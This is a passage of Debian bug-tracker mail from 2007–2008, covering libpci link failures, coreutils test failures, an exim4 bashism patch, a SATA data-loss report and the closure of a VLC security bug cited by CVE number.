-funroll-all-loops -I. -c -o lzf.o lzf.c gcc -g -O2 -O3 -funroll-all-loops -I. -c -o lzf_c.o lzf_c.c gcc -g -O2 -O3 -funroll-all-loops -I. -c -o lzf_d.o lzf_d.c rm -f liblzf.a ar rc liblzf.a lzf_c.o lzf_d.o ranlib liblzf.a gcc lzf.o liblzf.a -o lzf make[1]: Leaving directory `/build/buildd/uswsusp-0.3~cvs20060928/liblzf-1.51' # Add here commands to compile the package. /usr/bin/make -C suspend-cvs20060928 CONFIG_COMPRESS=yes CONFIG_ENCRYPT=yes CONFIG_UDEV=yes\ CFLAGS=-Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 make[1]: Entering directory `/build/buildd/uswsusp-0.3~cvs20060928/suspend-cvs20060928' cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -c vt.c -o vt.o cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -DHAVE_INTTYPES_H -DHAVE_STDINT_H -c md5.c -o md5.o cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -DHAVE_INTTYPES_H -DHAVE_STDINT_H -I/usr/local/include -DCONFIG_COMPRESS -DCONFIG_ENCRYPT-c encrypt.c -o encrypt.o cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -I/usr/local/include -DCONFIG_COMPRESS -DCONFIG_ENCRYPT-c config.c -o config.o cc -g -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -I/usr/local/include -DCONFIG_COMPRESS -DCONFIG_ENCRYPT-c bootsplash.c -o bootsplash.o cc -g -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -I/usr/local/include -DCONFIG_COMPRESS -DCONFIG_ENCRYPT-c splashy_funcs.c -o splashy_funcs.o cc -g -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -I/usr/local/include -DCONFIG_COMPRESS -DCONFIG_ENCRYPT-c splash.c -o splash.o cc -g -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -I/usr/local/include -DCONFIG_COMPRESS -DCONFIG_ENCRYPTvt.o md5.o encrypt.o config.o suspend.c -o s2disk splash.o bootsplash.o -L/usr/local/lib -llzf -lgcrypt -lgpg-error cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -c vbetool/lrmi.c -o vbetool/lrmi.o cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -c vbetool/x86-common.c -o vbetool/x86-common.o cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -DS2RAM -c vbetool/vbetool.c -o vbetool/vbetool.o cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -DS2RAM -c radeontool.c -o radeontool.o cc -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -DS2RAM -c dmidecode.c -o dmidecode.o cc -g -Wall -g -O2 -I../liblzf-1.51 -L../liblzf-1.51 -DCONFIG_BOTH -I/usr/local/include -DCONFIG_COMPRESS -DCONFIG_ENCRYPTmd5.o encrypt.o config.o suspend.c s2ram.c -o s2both vt.o vbetool/lrmi.o vbetool/x86-common.o vbetool/vbetool.o radeontool.o dmidecode.o splash.o bootsplash.o -L/usr/local/lib -llzf -lgcrypt -lgpg-error -lpci /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x533): undefined reference to `gzopen' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x5cd): undefined reference to `gzgets' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x6d3): undefined reference to `gzclose' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x6f8): undefined reference to `gzeof' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x788): undefined reference to `gzclose' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0xb9c): undefined reference to `gzopen' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L155': (.text+0xd33): undefined reference to `gzerror' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L155': (.text+0xd53): undefined reference to `gzclose' collect2: ld returned 1 exit status make[1]: *** [s2both] Error 1 make[1]: Leaving directory
Bug#403181: marked as done (athcool: FTBFS: undefined references to gz*)
Your message dated Wed, 23 Jan 2008 10:17:03 + with message-id [EMAIL PROTECTED] and subject line Bug#396640: fixed in pciutils 1:2.2.9-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: athcool Version: 0.3.11-1 Severity: serious Hello, There was a problem while autobuilding your package: Automatic build of athcool_0.3.11-1 on avidan by sbuild/i386 98 Build started at 20061215-0218 ** debian/rules build dh_testdir /usr/bin/make CFLAGS=-Wall -g -O2 make[1]: Entering directory `/build/buildd/athcool-0.3.11' gcc -Wall -g -O2 -I. -I/usr/include -DPACKAGE=\athcool\ -DVERSION=\0.3.11\ -c athcool.c -o athcool.o gcc -Wall -g -O2 -I. -I/usr/include -DPACKAGE=\athcool\ -DVERSION=\0.3.11\ -c scanpci.c -o scanpci.o scanpci.c: In function 'scan_device': scanpci.c:32: warning: pointer targets in passing argument 3 of 'pci_read_block' differ in signedness scanpci.c:39: warning: pointer targets in passing argument 3 of 'pci_read_block' differ in signedness scanpci.c:45: warning: pointer targets in passing argument 2 of 'pci_setup_cache' differ in signedness gcc -Wall -g -O2 athcool.o scanpci.o -lpci -o athcool /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x533): undefined reference to `gzopen' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x5cd): undefined reference to `gzgets' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x6d3): undefined reference to `gzclose' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x6f8): undefined reference to `gzeof' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x788): undefined reference to `gzclose' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0xb9c): undefined reference to `gzopen' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L155': (.text+0xd33): undefined reference to `gzerror' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L155': (.text+0xd53): undefined reference to `gzclose' collect2: ld returned 1 exit status make[1]: *** [athcool] Error 1 make[1]: Leaving directory `/build/buildd/athcool-0.3.11' make: *** [build-stamp] Error 2 ** Build finished at 20061215-0218 FAILED [dpkg-buildpackage died] Cheers, -- Julien Danjou .''`. Debian Developer : :' : http://julien.danjou.info `. `' http://people.debian.org/~acid `- 9A0D 5FD9 EB42 22F6 8974 C95C A462 B51E C2FE E5CD signature.asc Description: Digital signature ---End Message--- ---BeginMessage--- Source: pciutils Source-Version: 1:2.2.9-1 We believe that the bug you reported is fixed in the latest version of pciutils, which is due to be installed in the Debian FTP archive: pciutils-dev_2.2.9-1_amd64.deb to pool/main/p/pciutils/pciutils-dev_2.2.9-1_amd64.deb pciutils-udeb_2.2.9-1_amd64.udeb to pool/main/p/pciutils/pciutils-udeb_2.2.9-1_amd64.udeb pciutils_2.2.9-1.diff.gz to pool/main/p/pciutils/pciutils_2.2.9-1.diff.gz pciutils_2.2.9-1.dsc to pool/main/p/pciutils/pciutils_2.2.9-1.dsc pciutils_2.2.9-1_amd64.deb to pool/main/p/pciutils/pciutils_2.2.9-1_amd64.deb pciutils_2.2.9.orig.tar.gz to pool/main/p/pciutils/pciutils_2.2.9.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Anibal Monsalve Salazar [EMAIL PROTECTED] (supplier of updated pciutils package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Wed, 23 Jan 2008 17:36:12 +1100 Source: pciutils Binary: pciutils pciutils-dev pciutils-udeb Architecture: source amd64 Version: 1:2.2.9-1 Distribution: unstable Urgency: medium Maintainer: Anibal Monsalve Salazar [EMAIL PROTECTED] Changed-By:
Bug#425639: marked as done (pciutils (Priority: standard) depends on libpci2 (Priority: optional))
Your message dated Wed, 23 Jan 2008 10:17:03 +
with message-id [EMAIL PROTECTED]
and subject line Bug#425639: fixed in pciutils 1:2.2.9-1
has caused the attached Bug report to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere. Please contact me immediately.)
Debian bug tracking system administrator
(administrator, Debian Bugs database)
---BeginMessage---
Package: pciutils
Version: 1:2.2.4~pre4-1
Severity: serious
Justification: Policy 2.5
pciutils depends on libpci2, but libpci2 is of lower priority.
According to Policy 2.5, Packages must not depend on packages with
lower priority values (excluding build-time dependencies). You
mentioned in #399161 that you planned to drop the libpci2 dependency
after etch anyway--here's another reason to do so.
-- System Information:
Debian Release: 4.0
APT prefers stable
APT policy: (500, 'stable')
Architecture: i386 (i686)
Shell: /bin/sh linked to /bin/bash
Kernel: Linux 2.6.18-3-686
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Versions of packages pciutils depends on:
ii libc6 2.3.6.ds1-13 GNU C Library: Shared libraries
ii libpci2 2:2.1.11-3 Obsolete shared library for access
pciutils recommends no packages.
-- no debconf information
---End Message---
---BeginMessage---
Source: pciutils
Source-Version: 1:2.2.9-1
We believe that the bug you reported is fixed in the latest version of
pciutils, which is due to be installed in the Debian FTP archive:
pciutils-dev_2.2.9-1_amd64.deb
to pool/main/p/pciutils/pciutils-dev_2.2.9-1_amd64.deb
pciutils-udeb_2.2.9-1_amd64.udeb
to pool/main/p/pciutils/pciutils-udeb_2.2.9-1_amd64.udeb
pciutils_2.2.9-1.diff.gz
to pool/main/p/pciutils/pciutils_2.2.9-1.diff.gz
pciutils_2.2.9-1.dsc
to pool/main/p/pciutils/pciutils_2.2.9-1.dsc
pciutils_2.2.9-1_amd64.deb
to pool/main/p/pciutils/pciutils_2.2.9-1_amd64.deb
pciutils_2.2.9.orig.tar.gz
to pool/main/p/pciutils/pciutils_2.2.9.orig.tar.gz
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [EMAIL PROTECTED],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Anibal Monsalve Salazar [EMAIL PROTECTED] (supplier of updated pciutils
package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [EMAIL PROTECTED])
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Format: 1.7
Date: Wed, 23 Jan 2008 17:36:12 +1100
Source: pciutils
Binary: pciutils pciutils-dev pciutils-udeb
Architecture: source amd64
Version: 1:2.2.9-1
Distribution: unstable
Urgency: medium
Maintainer: Anibal Monsalve Salazar [EMAIL PROTECTED]
Changed-By: Anibal Monsalve Salazar [EMAIL PROTECTED]
Description:
pciutils - Linux PCI Utilities
pciutils-dev - Linux PCI Utilities (development files)
pciutils-udeb - Linux PCI Utilities (udeb) (udeb)
Closes: 396640 413462 422713 425639
Changes:
pciutils (1:2.2.9-1) unstable; urgency=medium
.
* New upstream version
* Acknowledged NMU. Closes: #425639
* pci.ids: updated with daily snapshot of Wed 2008-01-23 02:05:02
Closes: #422713
* pciutils and pciutils-udeb depend on ${misc:Depends}
* pciutils-dev depends on zlib1g-dev. Closes: 396640, #413462
* pciutils-dev depends on pciutils (= ${binary:Version})
* Bumped debhelper compat to 5
* Bumped Standards-Version to 3.7.3
* Put myself as maintainer
* Set homepage control header
* pciutils is priority standard
* Removed empty lib directory from pciutils-udeb
* Replaced -$(MAKE) with [ ! -f Makefile ] || $(MAKE) in debian/rules
Files:
31128ff7a270897dabbaabf95cb5296d 721 admin optional pciutils_2.2.9-1.dsc
b3700c60b8b341b593d3c3f274caefb3 234382 admin optional
pciutils_2.2.9.orig.tar.gz
b765dd02756fda96912ad861cc0c6306 52817 admin optional pciutils_2.2.9-1.diff.gz
6d6b90c6950f769a597dcd2ab50c3316 243380 admin standard
pciutils_2.2.9-1_amd64.deb
d3252924fd73ebefaf87712ad5dacfcb 33344 devel optional
pciutils-dev_2.2.9-1_amd64.deb
b30c8ac127c5c91670cd6f0fb6ef1a8a 123684 debian-installer optional
pciutils-udeb_2.2.9-1_amd64.udeb
Package-Type: udeb
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)
iD8DBQFHlxEhgY5NIXPNpFURAotoAKCZ1wpukI5CgcbzbDCi65LgTai28gCfe0Wy
bYOyZ7rtRsPM7wGJB8ZsmOw=
=uv7k
-END PGP SIGNATURE-
---End Message---
Bug#442040: coreutils: FTBFS on PPC in seq test suite
On 15/09/07 at 22:58 +0200, Elimar Riesebieter wrote: On Sat, 15 Sep 2007 the mental interface of Michael Stone told: On Sat, Sep 15, 2007 at 09:48:30PM +0200, Elimar Riesebieter wrote: Confirmed! Same build in a pbuilder environment with sid sources on a PowerBook5,6. Ok, can anyone test what happens with gcc 4.1? (I kinda suspect some kind of wacky code generation bug on ppc, because it works fine on alpha amd64 hppa i386 ia64 mipsel sparc, and seq just doesn't do anything particularly complicated.) Mike Stone In rules: cd $(BUILD_TREE) CFLAGS=$(CFLAGS) \ LDFLAGS=$(LDFLAGS) CC=/usr/bin/gcc-4.1 ./configure \ --build=$(DEB_BUILD_GNU_TYPE) --host=$(DEB_HOST_GNU_TYPE) \ --prefix=/usr -v \ --infodir=/usr/share/info --mandir=/usr/share/man \ $(SELINUX_OPTS) It sucks the same :( Hi, coreutils 6.10-1 built fine on powerpc, see http://buildd.debian.org/fetch.cgi?pkg=coreutils;ver=6.10-1;arch=powerpc;stamp=1201059579 And I couldn't reproduce the problem by building it manually on bruckner.d.o. Apparently both the buildd and bruckner built with gcc 4.2. Elimar, Bram, could you please try again with coreutils 6.10-1? Thank you, -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Re: Bug#462173: exim4-config: bashism in update-exim4.conf
Processing commands for [EMAIL PROTECTED]: tags #462173 confirmed pending Bug#462173: exim4-config: bashism in update-exim4.conf There were no tags set. Tags added: confirmed, pending thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462229: sata - sata_nv - sata link fails on heavy load
Package: base Severity: critical Justification: causes serious data loss -- System Infomation: Dabian Release: etch APT prefers: stable APT policy: (1001, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18 customized Locale: LANG=de_AT.UTF-8, LC_CTYPE=de_AT.UTF-8 (charmap=UTF-8) Motherboard: ASUS M2NPV-MX Chipset: NFORCE-MCP51, chipset revision 161 libata version 2.00 sata_nv :00:0e:0: version 2.0 I encountered two strange problems concerning my SATA-drives. Chapter I) One SAMSUNG SP084N PATA drive (/) [hda] One SAMSUNG SP2004C Rev: VM10 / 05 SATA drive (payload) [sda] sata1 - Using LVM2 (2.02.06-4) on non / partitions On every boot I have this message, but I think this is only showing there is no more drive attached?!? If so it is a little confusing ... --- ata2: SATA link down (SStatus 0 SContorl 300) ATA: abnormal status 0x7F on port 0x977 Vendor: ATA Model SP2004C Type: Direct-Access ANSI SCSI reversion: 05 --- sda1 (LVM) is used by samba. As I tried to restore the data (about 90 GB) via network (GBit) from a windows backup client to the new debian server, 33% were copied without problems. Then problems occurred: ata1.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 ata1.00: (BMDMA stat 0x20) ata1.00: tag 0 cmd 0x35 Emask 0x1 stat 0x51 err 0x4 (device error) ata1: EH complete --- ata1.00: soft resetting port ata1.00: limiting speed to UDMA/66 ata1.00: configured for UDMA/66 ata1.00: sd 0:0:0:0: SCSI error: return code = 0x0802 ata1.00: end_request: I/O error, dev sda, sector 31464335 ata1.00: printk: 127 messages suppressed ata1.00: Buffer I/O error on device dm-6, logical block 3932986 ata1.00: lost page write due to I/O error on dm-6 sata1: EH complete sata1.00 speed down requested but no transfer mode left The transfer rate went down to 0,01 kb/secs, and the filesystem was unrepairable destroyed. I tried this three times (new fs etc. etc.). After the third attempt I was able to repair the fs and I let the current data on the drive because i thought the drive is corrupted on these certian places. After this I was able to copy all the data, no more problems occurred on this day, but a few days after, the same situations came out. Because of these problemes I 'went' to Chapter II) One SAMSUNG SP084N PATA drive (/) [hda] One SAMSUNG SP2004C Rev: VM10 / 05 SATA drive (payload) [sda] sata1 - Using LVM2 (2.02.06-4) on non / partitions One SEAGATE ST3250410AS Rev: 3.AA /05 [sdb] sata2 One SEAGATE ST3250410AS Rev: 3.AA /05 [sdc] sata3 - sdb1 und sdc2 in a RAID1-Array (without LVM) On every boot I have this message, but I think this is only showing there is no more drive attached?!? I so it is a little confusing ... compare with Chapter I) --- ata4: SATA link down (SStatus 0 SContorl 300) ATA: abnormal status 0x7F on port 0x967 Vendor: ATA Model: ST3250410AS Rev: 3.AA Type: Direct-Acess ANSI SCSI revision: 05 --- So I copied all the formerly backuped data from hda and a windows backup client to the new created raid1-array (90 GB). Everything went fine, at least with sdb and sdc. But I got these messages in the time I copied the data form hda and network to /dev/md0 (sdb and sbc). --- ata1: port is slow to respond, please be patient ata1: soft resetting port ata1: SATA link up 3.0 Gbps (SStatus 123 SControl 300) ata1.00: configured for UDMA/133 ata1: EH complete SCSI device sda: 390721968 512-byte hdwr sectors (200050 MB) sda: Write Protect is off SCSI device sda: drive cache: write through ata1: port is slow to respond, please be patient ata1: soft resetting port ata1: SATA link up 3.0 Gbps (SStatus 123 SControl 300) ata1.00: configured for UDMA/133 ata1: EH complete SCSI device sda: 390721968 512-byte hdwr sectors (200050 MB) sda: Write Protect is off SCSI device sda: drive cache: write through --- ATTENTION!!! sda was not involved in this 'thing' it was only mounted (there were no open files). Therefore the were also no data losses. So it seems that sata_nv (or maybe the mainboard) has a problem with one (?) of the sata ports on heavy load. Again: all situations came out on heavy loads (copying from multiple sources to 'one' destination). Otherwise I could not understand why I get these errors on sata1/sda without doing something on it?!? Regards, Anton Huber -- Pt! Schon vom neuen GMX MultiMessenger gehört? Der kann`s mit allen: http://www.gmx.net/de/go/multimessenger -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging bugs that are closed by packages in NEW as pending
Processing commands for [EMAIL PROTECTED]: # the following bugs are closed by packages in NEW # tags 445759 pending Bug#445759: haskell-hlist: FTBFS: multiple definition of `HListzm0zi1_FakePrelude_typeCast_closure' There were no tags set. Tags added: pending tags 462081 pending Bug#462081: ITP: libparanamer-java -- java library to access method parameter names at runtime There were no tags set. Tags added: pending thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462173: exim4-config: bashism in update-exim4.conf
On Wed, 23 Jan 2008 11:59:09 +0100, Marc Haber wrote: [...] Does the attached fix work on your system? Yes, seems to work OK. -- Michał Politowski Talking has been known to lead to communication if practiced carelessly. signature.asc Description: Digital signature
Bug#443726: Fixed upstream?
Hi, Upstream's CHANGELOG[1] says: 0.8.8 - Make it work for current Xorg-GIT However, no version 0.8.8 has been released yet. Maybe we can ask upstream for a patch in the mean time? [1] http://www.conan.de/touchscreen/CHANGELOG.evtouch -- Pelle -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462173: exim4-config: bashism in update-exim4.conf
tags #462173 confirmed pending
thanks
On Wed, Jan 23, 2008 at 12:26:04AM +0100, Michal Politowski wrote:
update-exim4.conf does not work if /bin/sh is dash
The preprocess_macro function uses the non-POSIX behaviour of echo in bash,
which does not interpret escape characters by default.
In dash the '\n's are POSIX-ly correctly replaced with newlines
which causes the subsequent sed to fail with unterminated 's' command.
Thanks for spotting this. Fix committed to svn.
Does the attached fix work on your system?
Greetings
Marc
--- debian/debconf/update-exim4.conf(revision 2228)
+++ debian/debconf/update-exim4.conf(working copy)
@@ -329,11 +329,11 @@
macroname=${1:-}
shift
contents=$(lowercase ${@:-empty} | check_ascii_pipe)
- echo -n .ifndef $macroname\n$macroname=$contents\n.endif\n
+ printf %s .ifndef $macroname\n$macroname=$contents\n.endif\n
}
seed_macro() {
- UPEX4C_macros=${UPEX4C_macros} $(preprocess_macro $1 $2)
+ UPEX4C_macros=${UPEX4C_macros}$(preprocess_macro $1 $2)
}
file2macros() {
--
-
Marc Haber | I don't trust Computers. They | Mailadresse im Header
Mannheim, Germany | lose things.Winona Ryder | Fon: *49 621 72739834
Nordisch by Nature | How to make an American Quilt | Fax: *49 3221 2323190
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
On 23/01/08 at 11:06 +0100, Lucas Nussbaum wrote: Package: coreutils Version: 6.10-1 Severity: serious Hi, coreutils 6.10-1 failed to build on mips: Making check in rm make[3]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' /usr/bin/make check-TESTS make[4]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' make[5]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' FAIL: deep-1.log SKIP: hash.log FAIL: dangling-symlink.log FAIL: v-slash.log PASS: i-never.log FAIL: fail-eacces.log SKIP: one-file-system.log PASS: ignorable.log FAIL: readdir-bug.log FAIL: empty-inacc.log PASS: dir-nonrecur.log FAIL: dot-rel.log FAIL: inaccessible.log FAIL: unread3.log SKIP: no-give-up.log FAIL: dir-no-w.log PASS: empty-name.log SKIP: fail-2eperm.log FAIL: cycle.log PASS: i-no-r.log PASS: fail-eperm.log FAIL: rm1.log FAIL: rm2.log FAIL: rm3.log PASS: rm4.log FAIL: rm5.log FAIL: unread2.log FAIL: r-1.log FAIL: r-2.log FAIL: r-3.log PASS: r-4.log PASS: i-1.log FAIL: ir-1.log PASS: f-1.log PASS: sunos-1.log FAIL: unreadable.log FAIL: interactive-always.log FAIL: interactive-once.log FAIL: isatty.log === 24 of 39 tests failed (4 tests were not run) See tests/rm/test-suite.log Please report it to [EMAIL PROTECTED] === Log: http://buildd.debian.org/fetch.cgi?pkg=coreutils;ver=6.10-1;arch=mips;stamp=1201066231 I can't reproduce that failure on casals.d.o. However, the build on casals fails later: Making check in touch make[3]: Entering directory `/home/lucas/cuu/coreutils-6.10/build-tree/coreutils-6.10/tests/touch' /usr/bin/make check-TESTS make[4]: Entering directory `/home/lucas/cuu/coreutils-6.10/build-tree/coreutils-6.10/tests/touch' make[5]: Entering directory `/home/lucas/cuu/coreutils-6.10/build-tree/coreutils-6.10/tests/touch' SKIP: now-owned-by-other.log PASS: read-only.log PASS: relative.log PASS: not-owner.log FAIL: no-create-missing.log PASS: fail-diag.log PASS: dir-1.log PASS: dangling-symlink.log PASS: empty-file.log PASS: fifo.log PASS: no-rights.log PASS: obsolescent.log === 1 of 12 tests failed (1 tests were not run) See tests/touch/test-suite.log Please report it to [EMAIL PROTECTED] === -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461544: marked as done (vlc: CVE-2008-029[5,6] multiple vulnerabilities in embedded xine copy)
Your message dated Wed, 23 Jan 2008 12:02:04 + with message-id [EMAIL PROTECTED] and subject line Bug#461544: fixed in vlc 0.8.6.c-4.1~lenny2 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: vlc Version: 0.8.6-svn20061012.debian-5etch1 Severity: grave Tags: security Hi, the following CVE (Common Vulnerabilities Exposures) id was published for vlc. CVE-2008-0296[0]: | Heap-based buffer overflow in the libaccess_realrtsp plugin in | VideoLAN VLC Media Player 0.8.6d and earlier on Windows might allow | remote RTSP servers to cause a denial of service (application crash) | or execute arbitrary code via a long string. If you fix this vulnerability please also include the CVE id in your changelog entry. I contacted upstream for a patch of this. For further information: [0] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0296 Kind regards Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. pgpHkDIsgTdVQ.pgp Description: PGP signature ---End Message--- ---BeginMessage--- Source: vlc Source-Version: 0.8.6.c-4.1~lenny2 We believe that the bug you reported is fixed in the latest version of vlc, which is due to be installed in the Debian FTP archive: libvlc0-dev_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/libvlc0-dev_0.8.6.c-4.1~lenny2_i386.deb libvlc0_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/libvlc0_0.8.6.c-4.1~lenny2_i386.deb mozilla-plugin-vlc_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/mozilla-plugin-vlc_0.8.6.c-4.1~lenny2_i386.deb vlc-nox_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc-nox_0.8.6.c-4.1~lenny2_i386.deb vlc-plugin-alsa_0.8.6.c-4.1~lenny2_all.deb to pool/main/v/vlc/vlc-plugin-alsa_0.8.6.c-4.1~lenny2_all.deb vlc-plugin-arts_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc-plugin-arts_0.8.6.c-4.1~lenny2_i386.deb vlc-plugin-esd_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc-plugin-esd_0.8.6.c-4.1~lenny2_i386.deb vlc-plugin-ggi_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc-plugin-ggi_0.8.6.c-4.1~lenny2_i386.deb vlc-plugin-glide_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc-plugin-glide_0.8.6.c-4.1~lenny2_i386.deb vlc-plugin-sdl_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc-plugin-sdl_0.8.6.c-4.1~lenny2_i386.deb vlc-plugin-svgalib_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc-plugin-svgalib_0.8.6.c-4.1~lenny2_i386.deb vlc_0.8.6.c-4.1~lenny2.diff.gz to pool/main/v/vlc/vlc_0.8.6.c-4.1~lenny2.diff.gz vlc_0.8.6.c-4.1~lenny2.dsc to pool/main/v/vlc/vlc_0.8.6.c-4.1~lenny2.dsc vlc_0.8.6.c-4.1~lenny2_i386.deb to pool/main/v/vlc/vlc_0.8.6.c-4.1~lenny2_i386.deb wxvlc_0.8.6.c-4.1~lenny2_all.deb to pool/main/v/vlc/wxvlc_0.8.6.c-4.1~lenny2_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Nico Golde [EMAIL PROTECTED] (supplier of updated vlc package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Tue, 22 Jan 2008 07:38:58 +0100 Source: vlc Binary: wxvlc vlc-plugin-sdl vlc-plugin-ggi vlc-plugin-alsa vlc-plugin-glide vlc-plugin-esd mozilla-plugin-vlc vlc libvlc0 vlc-plugin-arts vlc-nox vlc-plugin-svgalib libvlc0-dev Architecture: source all i386 Version: 0.8.6.c-4.1~lenny2 Distribution: testing-security Urgency: high Maintainer: Debian multimedia packages maintainers [EMAIL PROTECTED] Changed-By: Nico Golde [EMAIL PROTECTED] Description: libvlc0- multimedia player and streamer library libvlc0-dev - development files for VLC mozilla-plugin-vlc - multimedia plugin 